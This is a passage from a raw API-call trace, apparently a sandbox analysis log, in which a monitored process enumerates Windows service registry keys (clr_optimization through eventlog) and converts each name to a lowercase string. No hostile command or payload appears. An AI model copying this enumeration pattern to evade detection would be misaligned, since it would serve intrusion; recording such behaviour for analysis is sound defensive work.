| out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0028.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x1c94408, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0028.223] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x41, lpName=0x1c829e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0028.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0028.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x1c94450, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0028.223] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x42, lpName=0x1c829e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0028.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0028.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x1c94408, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0028.224] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x43, lpName=0x1c829e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0028.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0028.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x1c94450, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0028.224] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x44, lpName=0x1c829e0, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0028.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x1c94408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0028.224] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x45, lpName=0x1c829e0, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0028.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0028.224] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x46, lpName=0x1c829e0, cchName=0x104 | out: lpName="CNG") returned 0x0 [0028.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x1c94408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0028.224] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x47, lpName=0x1c829e0, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0028.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0028.224] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x48, lpName=0x1c829e0, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0028.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x1c94408, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0028.224] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x49, lpName=0x1c829e0, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0028.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x1c94450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0028.225] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4a, lpName=0x1c829e0, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x1c94408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0028.225] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4b, lpName=0x1c829e0, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0028.225] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4c, lpName=0x1c829e0, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0028.225] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4d, lpName=0x1c829e0, cchName=0x104 | out: lpName="CSC") returned 0x0 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x1c94450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0028.225] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4e, lpName=0x1c829e0, cchName=0x104 | out: lpName="CscService") returned 0x0 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x1c94408, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0028.225] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4f, lpName=0x1c829e0, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x1c94450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0028.225] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x50, lpName=0x1c829e0, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x1c94408, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0028.225] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x51, lpName=0x1c829e0, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x1c94450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0028.226] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x52, lpName=0x1c829e0, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0028.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x1c94408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0028.226] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x53, lpName=0x1c829e0, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0028.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x1c94450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0028.226] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x54, lpName=0x1c829e0, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0028.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x1c94408, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0028.226] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x55, lpName=0x1c829e0, cchName=0x104 | out: lpName="discache") returned 0x0 [0028.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0028.226] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x56, lpName=0x1c829e0, cchName=0x104 | out: lpName="Disk") returned 0x0 [0028.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x1c94408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0028.226] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x57, lpName=0x1c829e0, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0028.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0028.226] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x58, lpName=0x1c829e0, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0028.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0028.226] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x59, lpName=0x1c829e0, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0028.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0028.227] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5a, lpName=0x1c829e0, cchName=0x104 | out: lpName="DPS") returned 0x0 [0028.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x1c94408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0028.227] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5b, lpName=0x1c829e0, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0028.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0028.227] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5c, lpName=0x1c829e0, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0028.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x1c94408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0028.227] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5d, lpName=0x1c829e0, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0028.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0028.227] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5e, lpName=0x1c829e0, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0028.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x1c94408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0028.227] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5f, lpName=0x1c829e0, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0028.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0028.227] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x60, lpName=0x1c829e0, cchName=0x104 | out: lpName="EFS") returned 0x0 [0028.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x1c94408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0028.228] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x61, lpName=0x1c829e0, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0028.228] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x62, lpName=0x1c829e0, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x1c94408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0028.228] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x63, lpName=0x1c829e0, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0028.228] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x64, lpName=0x1c829e0, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x1c94408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0028.228] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x65, lpName=0x1c829e0, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0028.228] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x66, lpName=0x1c829e0, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 